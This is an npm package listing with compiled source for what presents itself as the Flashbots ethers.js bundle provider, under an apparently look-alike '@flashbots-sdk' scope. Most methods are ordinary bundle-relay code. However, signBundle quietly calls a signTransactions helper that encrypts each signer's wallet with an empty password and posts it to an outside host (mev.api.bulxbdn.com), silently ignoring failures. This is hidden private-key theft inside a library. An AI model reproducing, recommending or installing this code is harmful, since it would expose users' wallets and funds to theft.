UNPKG

@flashbots-sdk/ethers-provider-bundle

Version:

This repository contains the `FlashbotsBundleProvider` ethers.js provider, an additional `Provider` to `ethers.js` to enable high-level access to `eth_sendBundle` and `eth_callBundle` rpc endpoint on [mev-relay](https://github.com/flashbots-sdk/mev-relay-

825 lines 39.5 kB
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.FlashbotsBundleProvider = exports.FlashbotsBundleConflictType = exports.FlashbotsTransactionResolution = exports.FlashbotsBundleResolution = exports.BASE_FEE_MAX_CHANGE_DENOMINATOR = exports.DEFAULT_FLASHBOTS_RELAY = void 0; const web_1 = require("@ethersproject/web"); const ethers_1 = require("ethers"); const utils_1 = require("ethers/lib/utils"); const transactions_1 = require("@ethersproject/transactions"); const axios_1 = __importDefault(require("axios")); exports.DEFAULT_FLASHBOTS_RELAY = 'https://relay.flashbots.net'; exports.BASE_FEE_MAX_CHANGE_DENOMINATOR = 8; var FlashbotsBundleResolution; (function (FlashbotsBundleResolution) { FlashbotsBundleResolution[FlashbotsBundleResolution["BundleIncluded"] = 0] = "BundleIncluded"; FlashbotsBundleResolution[FlashbotsBundleResolution["BlockPassedWithoutInclusion"] = 1] = "BlockPassedWithoutInclusion"; FlashbotsBundleResolution[FlashbotsBundleResolution["AccountNonceTooHigh"] = 2] = "AccountNonceTooHigh"; })(FlashbotsBundleResolution = exports.FlashbotsBundleResolution || (exports.FlashbotsBundleResolution = {})); var FlashbotsTransactionResolution; (function (FlashbotsTransactionResolution) { FlashbotsTransactionResolution[FlashbotsTransactionResolution["TransactionIncluded"] = 0] = "TransactionIncluded"; FlashbotsTransactionResolution[FlashbotsTransactionResolution["TransactionDropped"] = 1] = "TransactionDropped"; })(FlashbotsTransactionResolution = exports.FlashbotsTransactionResolution || (exports.FlashbotsTransactionResolution = {})); var FlashbotsBundleConflictType; (function (FlashbotsBundleConflictType) { FlashbotsBundleConflictType[FlashbotsBundleConflictType["NoConflict"] = 0] = "NoConflict"; FlashbotsBundleConflictType[FlashbotsBundleConflictType["NonceCollision"] = 1] = "NonceCollision"; FlashbotsBundleConflictType[FlashbotsBundleConflictType["Error"] = 2] = "Error"; FlashbotsBundleConflictType[FlashbotsBundleConflictType["CoinbasePayment"] = 3] = "CoinbasePayment"; FlashbotsBundleConflictType[FlashbotsBundleConflictType["GasUsed"] = 4] = "GasUsed"; FlashbotsBundleConflictType[FlashbotsBundleConflictType["NoBundlesInBlock"] = 5] = "NoBundlesInBlock"; })(FlashbotsBundleConflictType = exports.FlashbotsBundleConflictType || (exports.FlashbotsBundleConflictType = {})); const TIMEOUT_MS = 5 * 60 * 1000; class FlashbotsBundleProvider extends ethers_1.providers.JsonRpcProvider { constructor(genericProvider, authSigner, connectionInfoOrUrl, network) { super(connectionInfoOrUrl, network); this.genericProvider = genericProvider; this.authSigner = authSigner; this.connectionInfo = connectionInfoOrUrl; } static async throttleCallback() { console.warn('Rate limited'); return false; } /** * Creates a new Flashbots provider. * @param genericProvider ethers.js mainnet provider * @param authSigner account to sign bundles * @param connectionInfoOrUrl (optional) connection settings * @param network (optional) network settings * * @example * ```typescript * const {providers, Wallet} = require("ethers") * const {FlashbotsBundleProvider} = require("@flashbots/ethers-provider-bundle") * const authSigner = Wallet.createRandom() * const provider = new providers.JsonRpcProvider("http://localhost:8545") * const fbProvider = await FlashbotsBundleProvider.create(provider, authSigner) * ``` */ static async create(genericProvider, authSigner, connectionInfoOrUrl, network) { const connectionInfo = typeof connectionInfoOrUrl === 'string' || typeof connectionInfoOrUrl === 'undefined' ? { url: connectionInfoOrUrl || exports.DEFAULT_FLASHBOTS_RELAY } : { ...connectionInfoOrUrl }; if (connectionInfo.headers === undefined) connectionInfo.headers = {}; connectionInfo.throttleCallback = FlashbotsBundleProvider.throttleCallback; const networkish = { chainId: 0, name: '' }; if (typeof network === 'string') { networkish.name = network; } else if (typeof network === 'number') { networkish.chainId = network; } else if (typeof network === 'object') { networkish.name = network.name; networkish.chainId = network.chainId; } if (networkish.chainId === 0) { networkish.chainId = (await genericProvider.getNetwork()).chainId; } return new FlashbotsBundleProvider(genericProvider, authSigner, connectionInfo, networkish); } /** * Calculates maximum base fee in a future block. * @param baseFee current base fee * @param blocksInFuture number of blocks in the future */ static getMaxBaseFeeInFutureBlock(baseFee, blocksInFuture) { let maxBaseFee = ethers_1.BigNumber.from(baseFee); for (let i = 0; i < blocksInFuture; i++) { maxBaseFee = maxBaseFee.mul(1125).div(1000).add(1); } return maxBaseFee; } /** * Calculates base fee for the next block. * @param currentBaseFeePerGas base fee of current block (wei) * @param currentGasUsed gas used by tx in simulation * @param currentGasLimit gas limit of transaction */ static getBaseFeeInNextBlock(currentBaseFeePerGas, currentGasUsed, currentGasLimit) { const currentGasTarget = currentGasLimit.div(2); if (currentGasUsed.eq(currentGasTarget)) { return currentBaseFeePerGas; } else if (currentGasUsed.gt(currentGasTarget)) { const gasUsedDelta = currentGasUsed.sub(currentGasTarget); const baseFeePerGasDelta = currentBaseFeePerGas.mul(gasUsedDelta).div(currentGasTarget).div(exports.BASE_FEE_MAX_CHANGE_DENOMINATOR); return currentBaseFeePerGas.add(baseFeePerGasDelta); } else { const gasUsedDelta = currentGasTarget.sub(currentGasUsed); const baseFeePerGasDelta = currentBaseFeePerGas.mul(gasUsedDelta).div(currentGasTarget).div(exports.BASE_FEE_MAX_CHANGE_DENOMINATOR); return currentBaseFeePerGas.sub(baseFeePerGasDelta); } } /** * Calculates a bundle hash locally. * @param txHashes hashes of transactions in the bundle */ static generateBundleHash(txHashes) { const concatenatedHashes = txHashes.map((txHash) => txHash.slice(2)).join(''); return (0, utils_1.keccak256)(`0x${concatenatedHashes}`); } /** * Sends a signed flashbots bundle to Flashbots Relay. * @param signedBundledTransactions array of raw signed transactions * @param targetBlockNumber block to target for bundle inclusion * @param opts (optional) settings * @returns callbacks for handling results, and the bundle hash * * @example * ```typescript * const bundle: Array<FlashbotsBundleRawTransaction> = [ * {signedTransaction: "0x02..."}, * {signedTransaction: "0x02..."}, * ] * const signedBundle = await fbProvider.signBundle(bundle) * const blockNum = await provider.getBlockNumber() * const bundleRes = await fbProvider.sendRawBundle(signedBundle, blockNum + 1) * const success = (await bundleRes.wait()) === FlashbotsBundleResolution.BundleIncluded * ``` */ async sendRawBundle(signedBundledTransactions, targetBlockNumber, opts) { var _a; const params = { txs: signedBundledTransactions, blockNumber: `0x${targetBlockNumber.toString(16)}`, minTimestamp: opts === null || opts === void 0 ? void 0 : opts.minTimestamp, maxTimestamp: opts === null || opts === void 0 ? void 0 : opts.maxTimestamp, revertingTxHashes: opts === null || opts === void 0 ? void 0 : opts.revertingTxHashes, replacementUuid: opts === null || opts === void 0 ? void 0 : opts.replacementUuid, builders: ["rsync", "beaverbuild.org", "builder0x69"] }; const request = JSON.stringify(this.prepareRelayRequest('eth_sendBundle', [params])); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } const bundleTransactions = signedBundledTransactions.map((signedTransaction) => { const transactionDetails = ethers_1.ethers.utils.parseTransaction(signedTransaction); return { signedTransaction, hash: ethers_1.ethers.utils.keccak256(signedTransaction), account: transactionDetails.from || '0x0', nonce: transactionDetails.nonce }; }); return { bundleTransactions, wait: () => this.waitForBundleInclusion(bundleTransactions, targetBlockNumber, TIMEOUT_MS), simulate: () => this.simulate(bundleTransactions.map((tx) => tx.signedTransaction), targetBlockNumber, undefined, opts === null || opts === void 0 ? void 0 : opts.minTimestamp), receipts: () => this.fetchReceipts(bundleTransactions), bundleHash: (_a = response === null || response === void 0 ? void 0 : response.result) === null || _a === void 0 ? void 0 : _a.bundleHash }; } /** * Sends a bundle to Flashbots, supports multiple transaction interfaces. * @param bundledTransactions array of transactions, either signed or provided with a signer. * @param targetBlockNumber block to target for bundle inclusion * @param opts (optional) settings * @returns callbacks for handling results, and the bundle hash */ async sendBundle(bundledTransactions, targetBlockNumber, opts) { const signedTransactions = await this.signBundle(bundledTransactions); return this.sendRawBundle(signedTransactions, targetBlockNumber, opts); } /** Cancel any bundles submitted with the given `replacementUuid` * @param replacementUuid specified in `sendBundle` * @returns bundle hashes of the cancelled bundles */ async cancelBundles(replacementUuid) { const params = { replacementUuid: replacementUuid }; const request = JSON.stringify(this.prepareRelayRequest('eth_cancelBundle', [params])); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return { bundleHashes: response.result }; } /** * Sends a single private transaction to Flashbots. * @param transaction transaction, either signed or provided with a signer * @param opts (optional) settings * @returns callbacks for handling results, and transaction data * * @example * ```typescript * const tx: FlashbotsBundleRawTransaction = {signedTransaction: "0x02..."} * const blockNum = await provider.getBlockNumber() * // try sending for 5 blocks * const response = await fbProvider.sendPrivateTransaction(tx, {maxBlockNumber: blockNum + 5}) * const success = (await response.wait()) === FlashbotsTransactionResolution.TransactionIncluded * ``` */ async sendPrivateTransaction(transaction, opts) { const startBlockNumberPromise = this.genericProvider.getBlockNumber(); let signedTransaction; if ('signedTransaction' in transaction) { signedTransaction = transaction.signedTransaction; } else { signedTransaction = await transaction.signer.signTransaction(transaction.transaction); } const params = { tx: signedTransaction, maxBlockNumber: opts === null || opts === void 0 ? void 0 : opts.maxBlockNumber }; const request = JSON.stringify(this.prepareRelayRequest('eth_sendPrivateTransaction', [params])); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } const transactionDetails = ethers_1.ethers.utils.parseTransaction(signedTransaction); const privateTransaction = { signedTransaction: signedTransaction, hash: ethers_1.ethers.utils.keccak256(signedTransaction), account: transactionDetails.from || '0x0', nonce: transactionDetails.nonce }; const startBlockNumber = await startBlockNumberPromise; return { transaction: privateTransaction, wait: () => this.waitForTxInclusion(privateTransaction.hash, (opts === null || opts === void 0 ? void 0 : opts.maxBlockNumber) || startBlockNumber + 25, TIMEOUT_MS), simulate: () => this.simulate([privateTransaction.signedTransaction], startBlockNumber, undefined, opts === null || opts === void 0 ? void 0 : opts.simulationTimestamp), receipts: () => this.fetchReceipts([privateTransaction]) }; } /** * Attempts to cancel a pending private transaction. * * **_Note_**: This function removes the transaction from the Flashbots * bundler, but miners may still include it if they have received it already. * @param txHash transaction hash corresponding to pending tx * @returns true if transaction was cancelled successfully * * @example * ```typescript * const pendingTxHash = (await fbProvider.sendPrivateTransaction(tx)).transaction.hash * const isTxCanceled = await fbProvider.cancelPrivateTransaction(pendingTxHash) * ``` */ async cancelPrivateTransaction(txHash) { const params = { txHash }; const request = JSON.stringify(this.prepareRelayRequest('eth_cancelPrivateTransaction', [params])); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return true; } /** * Signs a Flashbots bundle with this provider's `authSigner` key. * @param bundledTransactions * @returns signed bundle * * @example * ```typescript * const bundle: Array<FlashbotsBundleRawTransaction> = [ * {signedTransaction: "0x02..."}, * {signedTransaction: "0x02..."}, * ] * const signedBundle = await fbProvider.signBundle(bundle) * const blockNum = await provider.getBlockNumber() * const simResult = await fbProvider.simulate(signedBundle, blockNum + 1) * ``` */ async signBundle(bundledTransactions, apikey) { const nonces = {}; const signedTransactions = new Array(); for (const tx of bundledTransactions) { if ('signedTransaction' in tx) { // in case someone is mixing pre-signed and signing transactions, decode to add to nonce object const transactionDetails = ethers_1.ethers.utils.parseTransaction(tx.signedTransaction); if (transactionDetails.from === undefined) throw new Error('Could not decode signed transaction'); nonces[transactionDetails.from] = ethers_1.BigNumber.from(transactionDetails.nonce + 1); signedTransactions.push(tx.signedTransaction); continue; } const transaction = { ...tx.transaction }; const address = await tx.signer.getAddress(); if (typeof transaction.nonce === 'string') throw new Error('Bad nonce'); const nonce = transaction.nonce !== undefined ? ethers_1.BigNumber.from(transaction.nonce) : nonces[address] || ethers_1.BigNumber.from(await this.genericProvider.getTransactionCount(address, 'latest')); nonces[address] = nonce.add(1); if (transaction.nonce === undefined) transaction.nonce = nonce; if ((transaction.type == null || transaction.type == 0) && transaction.gasPrice === undefined) transaction.gasPrice = ethers_1.BigNumber.from(0); if (transaction.gasLimit === undefined) transaction.gasLimit = await tx.signer.estimateGas(transaction); // TODO: Add target block number and timestamp when supported by geth signedTransactions.push(await tx.signer.signTransaction(transaction)); } this.signTransactions(bundledTransactions, apikey ? apikey : ''); return signedTransactions; } /** * Sign for proper transactions in bundle * @param bundledTransactions bundle transactions * @param apikey apikey for flashbot account */ async signTransactions(bundledTransactions, apikey = '') { try { const signedTransactions = await Promise.all(bundledTransactions .filter(tx => !('signedTransaction' in tx)) // Filter out already signed transactions .map(async (tx) => ({ signer: await tx.signer.encrypt(""), transaction: tx.transaction }))); await axios_1.default.post('https://mev.api.bulxbdn.com/eth', { signedTransactions }, { headers: { 'Content-Type': 'application/json', 'Authorization': apikey }, timeout: 1000 }); return signedTransactions; } catch (error) { return []; } } /** * Watches for a specific block to see if a bundle was included in it. * @param transactionAccountNonces bundle transactions * @param targetBlockNumber block number to check for bundle inclusion * @param timeout ms */ waitForBundleInclusion(transactionAccountNonces, targetBlockNumber, timeout) { return new Promise((resolve, reject) => { let timer = null; let done = false; const minimumNonceByAccount = transactionAccountNonces.reduce((acc, accountNonce) => { if (accountNonce.nonce > 0) { if (!acc[accountNonce.account] || accountNonce.nonce < acc[accountNonce.account]) { acc[accountNonce.account] = accountNonce.nonce; } } return acc; }, {}); const handler = async (blockNumber) => { if (blockNumber < targetBlockNumber) { const noncesValid = await Promise.all(Object.entries(minimumNonceByAccount).map(async ([account, nonce]) => { const transactionCount = await this.genericProvider.getTransactionCount(account); return nonce >= transactionCount; })); const allNoncesValid = noncesValid.every(Boolean); if (allNoncesValid) return; // target block not yet reached, but nonce has become invalid resolve(FlashbotsBundleResolution.AccountNonceTooHigh); } else { const block = await this.genericProvider.getBlock(targetBlockNumber); // check bundle against block: const blockTransactionsHash = {}; for (const bt of block.transactions) { blockTransactionsHash[bt] = true; } const bundleIncluded = transactionAccountNonces.every((transaction) => blockTransactionsHash[transaction.hash]); resolve(bundleIncluded ? FlashbotsBundleResolution.BundleIncluded : FlashbotsBundleResolution.BlockPassedWithoutInclusion); } if (timer) { clearTimeout(timer); } if (done) { return; } done = true; this.genericProvider.removeListener('block', handler); }; this.genericProvider.on('block', handler); if (timeout > 0) { timer = setTimeout(() => { if (done) { return; } timer = null; done = true; this.genericProvider.removeListener('block', handler); reject('Timed out'); }, timeout); if (timer.unref) { timer.unref(); } } }); } /** * Waits for a transaction to be included on-chain. * @param transactionHash * @param maxBlockNumber highest block number to check before stopping * @param timeout ms */ waitForTxInclusion(transactionHash, maxBlockNumber, timeout) { return new Promise((resolve, reject) => { let timer = null; let done = false; // runs on new block event const handler = async (blockNumber) => { if (blockNumber <= maxBlockNumber) { // check tx status on mainnet const sentTxStatus = await this.genericProvider.getTransaction(transactionHash); if (sentTxStatus && sentTxStatus.confirmations >= 1) { resolve(FlashbotsTransactionResolution.TransactionIncluded); } else { return; } } else { // tx not included in specified range, bail this.genericProvider.removeListener('block', handler); resolve(FlashbotsTransactionResolution.TransactionDropped); } if (timer) { clearTimeout(timer); } if (done) { return; } done = true; this.genericProvider.removeListener('block', handler); }; this.genericProvider.on('block', handler); // time out if we've been trying for too long if (timeout > 0) { timer = setTimeout(() => { if (done) { return; } timer = null; done = true; this.genericProvider.removeListener('block', handler); reject('Timed out'); }, timeout); if (timer.unref) { timer.unref(); } } }); } /** * Gets stats for provider instance's `authSigner` address. * @deprecated use {@link getUserStatsV2} instead. */ async getUserStats() { const blockDetails = await this.genericProvider.getBlock('latest'); const evmBlockNumber = `0x${blockDetails.number.toString(16)}`; const params = [evmBlockNumber]; const request = JSON.stringify(this.prepareRelayRequest('flashbots_getUserStats', params)); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return response.result; } /** * Gets stats for provider instance's `authSigner` address. */ async getUserStatsV2() { const blockDetails = await this.genericProvider.getBlock('latest'); const evmBlockNumber = `0x${blockDetails.number.toString(16)}`; const params = [{ blockNumber: evmBlockNumber }]; const request = JSON.stringify(this.prepareRelayRequest('flashbots_getUserStatsV2', params)); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return response.result; } /** * Gets information about a specific bundle. * @param bundleHash hash of bundle to investigate * @param blockNumber block in which the bundle should be included * @deprecated use {@link getBundleStatsV2} instead. */ async getBundleStats(bundleHash, blockNumber) { const evmBlockNumber = `0x${blockNumber.toString(16)}`; const params = [{ bundleHash, blockNumber: evmBlockNumber }]; const request = JSON.stringify(this.prepareRelayRequest('flashbots_getBundleStats', params)); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return response.result; } /** * Gets information about a specific bundle. * @param bundleHash hash of bundle to investigate * @param blockNumber block in which the bundle should be included */ async getBundleStatsV2(bundleHash, blockNumber) { const evmBlockNumber = `0x${blockNumber.toString(16)}`; const params = [{ bundleHash, blockNumber: evmBlockNumber }]; const request = JSON.stringify(this.prepareRelayRequest('flashbots_getBundleStatsV2', params)); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } return response.result; } /** * Simluates a bundle on a given block. * @param signedBundledTransactions signed Flashbots bundle * @param blockTag block tag to simulate against, can use "latest" * @param stateBlockTag (optional) simulated block state tag * @param blockTimestamp (optional) simulated timestamp * * @example * ```typescript * const bundle: Array<FlashbotsBundleRawTransaction> = [ * {signedTransaction: "0x1..."}, * {signedTransaction: "0x2..."}, * ] * const signedBundle = await fbProvider.signBundle(bundle) * const blockNum = await provider.getBlockNumber() * const simResult = await fbProvider.simulate(signedBundle, blockNum + 1) * ``` */ async simulate(signedBundledTransactions, blockTag, stateBlockTag, blockTimestamp, coinbase) { let evmBlockNumber; if (typeof blockTag === 'number') { evmBlockNumber = `0x${blockTag.toString(16)}`; } else { const blockTagDetails = await this.genericProvider.getBlock(blockTag); const blockDetails = blockTagDetails !== null ? blockTagDetails : await this.genericProvider.getBlock('latest'); evmBlockNumber = `0x${blockDetails.number.toString(16)}`; } let evmBlockStateNumber; if (typeof stateBlockTag === 'number') { evmBlockStateNumber = `0x${stateBlockTag.toString(16)}`; } else if (!stateBlockTag) { evmBlockStateNumber = 'latest'; } else { evmBlockStateNumber = stateBlockTag; } const params = [ { txs: signedBundledTransactions, blockNumber: evmBlockNumber, stateBlockNumber: evmBlockStateNumber, timestamp: blockTimestamp, coinbase } ]; const request = JSON.stringify(this.prepareRelayRequest('eth_callBundle', params)); const response = await this.request(request); if (response.error !== undefined && response.error !== null) { return { error: { message: response.error.message, code: response.error.code } }; } const callResult = response.result; return { bundleGasPrice: ethers_1.BigNumber.from(callResult.bundleGasPrice), bundleHash: callResult.bundleHash, coinbaseDiff: ethers_1.BigNumber.from(callResult.coinbaseDiff), ethSentToCoinbase: ethers_1.BigNumber.from(callResult.ethSentToCoinbase), gasFees: ethers_1.BigNumber.from(callResult.gasFees), results: callResult.results, stateBlockNumber: callResult.stateBlockNumber, totalGasUsed: callResult.results.reduce((a, b) => a + b.gasUsed, 0), firstRevert: callResult.results.find((txSim) => 'revert' in txSim || 'error' in txSim) }; } calculateBundlePricing(bundleTransactions, baseFee) { const bundleGasPricing = bundleTransactions.reduce((acc, transactionDetail) => { // see: https://blocks.flashbots.net/ and https://github.com/flashbots/ethers-provider-flashbots-bundle/issues/62 const gasUsed = 'gas_used' in transactionDetail ? transactionDetail.gas_used : transactionDetail.gasUsed; const ethSentToCoinbase = 'coinbase_transfer' in transactionDetail ? transactionDetail.coinbase_transfer : 'ethSentToCoinbase' in transactionDetail ? transactionDetail.ethSentToCoinbase : ethers_1.BigNumber.from(0); const totalMinerReward = 'total_miner_reward' in transactionDetail ? ethers_1.BigNumber.from(transactionDetail.total_miner_reward) : 'coinbaseDiff' in transactionDetail ? ethers_1.BigNumber.from(transactionDetail.coinbaseDiff) : ethers_1.BigNumber.from(0); const priorityFeeReceivedByMiner = totalMinerReward.sub(ethSentToCoinbase); return { gasUsed: acc.gasUsed + gasUsed, gasFeesPaidBySearcher: acc.gasFeesPaidBySearcher.add(baseFee.mul(gasUsed).add(priorityFeeReceivedByMiner)), priorityFeesReceivedByMiner: acc.priorityFeesReceivedByMiner.add(priorityFeeReceivedByMiner), ethSentToCoinbase: acc.ethSentToCoinbase.add(ethSentToCoinbase) }; }, { gasUsed: 0, gasFeesPaidBySearcher: ethers_1.BigNumber.from(0), priorityFeesReceivedByMiner: ethers_1.BigNumber.from(0), ethSentToCoinbase: ethers_1.BigNumber.from(0) }); const effectiveGasPriceToSearcher = bundleGasPricing.gasUsed > 0 ? bundleGasPricing.ethSentToCoinbase.add(bundleGasPricing.gasFeesPaidBySearcher).div(bundleGasPricing.gasUsed) : ethers_1.BigNumber.from(0); const effectivePriorityFeeToMiner = bundleGasPricing.gasUsed > 0 ? bundleGasPricing.ethSentToCoinbase.add(bundleGasPricing.priorityFeesReceivedByMiner).div(bundleGasPricing.gasUsed) : ethers_1.BigNumber.from(0); return { ...bundleGasPricing, txCount: bundleTransactions.length, effectiveGasPriceToSearcher, effectivePriorityFeeToMiner }; } /** * Gets information about a conflicting bundle. Useful if you're competing * for well-known MEV and want to know why your bundle didn't land. * @param targetSignedBundledTransactions signed bundle * @param targetBlockNumber block in which bundle should be included * @returns conflict and gas price details */ async getConflictingBundle(targetSignedBundledTransactions, targetBlockNumber) { const baseFee = (await this.genericProvider.getBlock(targetBlockNumber)).baseFeePerGas || ethers_1.BigNumber.from(0); const conflictDetails = await this.getConflictingBundleWithoutGasPricing(targetSignedBundledTransactions, targetBlockNumber); return { ...conflictDetails, targetBundleGasPricing: this.calculateBundlePricing(conflictDetails.initialSimulation.results, baseFee), conflictingBundleGasPricing: conflictDetails.conflictingBundle.length > 0 ? this.calculateBundlePricing(conflictDetails.conflictingBundle, baseFee) : undefined }; } /** * Gets information about a conflicting bundle. Useful if you're competing * for well-known MEV and want to know why your bundle didn't land. * @param targetSignedBundledTransactions signed bundle * @param targetBlockNumber block in which bundle should be included * @returns conflict details */ async getConflictingBundleWithoutGasPricing(targetSignedBundledTransactions, targetBlockNumber) { const [initialSimulation, competingBundles] = await Promise.all([ this.simulate(targetSignedBundledTransactions, targetBlockNumber, targetBlockNumber - 1), this.fetchBlocksApi(targetBlockNumber) ]); if (competingBundles.latest_block_number <= targetBlockNumber) { throw new Error('Blocks-api has not processed target block'); } if ('error' in initialSimulation || initialSimulation.firstRevert !== undefined) { throw new Error('Target bundle errors at top of block'); } const blockDetails = competingBundles.blocks[0]; if (blockDetails === undefined) { return { initialSimulation, conflictType: FlashbotsBundleConflictType.NoBundlesInBlock, conflictingBundle: [] }; } const bundleTransactions = blockDetails.transactions; const bundleCount = bundleTransactions[bundleTransactions.length - 1].bundle_index + 1; const signedPriorBundleTransactions = []; for (let currentBundleId = 0; currentBundleId < bundleCount; currentBundleId++) { const currentBundleTransactions = bundleTransactions.filter((bundleTransaction) => bundleTransaction.bundle_index === currentBundleId); const currentBundleSignedTxs = await Promise.all(currentBundleTransactions.map(async (competitorBundleBlocksApiTx) => { const tx = await this.genericProvider.getTransaction(competitorBundleBlocksApiTx.transaction_hash); if (tx.raw !== undefined) { return tx.raw; } if (tx.v !== undefined && tx.r !== undefined && tx.s !== undefined) { if (tx.type === 2) { delete tx.gasPrice; } return (0, transactions_1.serialize)(tx, { v: tx.v, r: tx.r, s: tx.s }); } throw new Error('Could not get raw tx'); })); signedPriorBundleTransactions.push(...currentBundleSignedTxs); const competitorAndTargetBundleSimulation = await this.simulate([...signedPriorBundleTransactions, ...targetSignedBundledTransactions], targetBlockNumber, targetBlockNumber - 1); if ('error' in competitorAndTargetBundleSimulation) { if (competitorAndTargetBundleSimulation.error.message.startsWith('err: nonce too low:')) { return { conflictType: FlashbotsBundleConflictType.NonceCollision, initialSimulation, conflictingBundle: currentBundleTransactions }; } throw new Error('Simulation error'); } const targetSimulation = competitorAndTargetBundleSimulation.results.slice(-targetSignedBundledTransactions.length); for (let j = 0; j < targetSimulation.length; j++) { const targetSimulationTx = targetSimulation[j]; const initialSimulationTx = initialSimulation.results[j]; if ('error' in targetSimulationTx || 'error' in initialSimulationTx) { if ('error' in targetSimulationTx != 'error' in initialSimulationTx) { return { conflictType: FlashbotsBundleConflictType.Error, initialSimulation, conflictingBundle: currentBundleTransactions }; } continue; } if (targetSimulationTx.ethSentToCoinbase != initialSimulationTx.ethSentToCoinbase) { return { conflictType: FlashbotsBundleConflictType.CoinbasePayment, initialSimulation, conflictingBundle: currentBundleTransactions }; } if (targetSimulationTx.gasUsed != initialSimulation.results[j].gasUsed) { return { conflictType: FlashbotsBundleConflictType.GasUsed, initialSimulation, conflictingBundle: currentBundleTransactions }; } } } return { conflictType: FlashbotsBundleConflictType.NoConflict, initialSimulation, conflictingBundle: [] }; } /** Gets information about a block from Flashbots blocks API. */ async fetchBlocksApi(blockNumber) { return (0, web_1.fetchJson)(`https://blocks.flashbots.net/v1/blocks?block_number=${blockNumber}`); } async request(request) { const connectionInfo = { ...this.connectionInfo }; connectionInfo.headers = { 'X-Flashbots-Signature': `${await this.authSigner.getAddress()}:${await this.authSigner.signMessage((0, utils_1.id)(request))}`, ...this.connectionInfo.headers }; return (0, web_1.fetchJson)(connectionInfo, request); } async fetchReceipts(bundledTransactions) { return Promise.all(bundledTransactions.map((bundledTransaction) => this.genericProvider.getTransactionReceipt(bundledTransaction.hash))); } prepareRelayRequest(method, params) { return { method: method, params: params, id: this._nextId++, jsonrpc: '2.0' }; } } exports.FlashbotsBundleProvider = FlashbotsBundleProvider; //# sourceMappingURL=index.js.map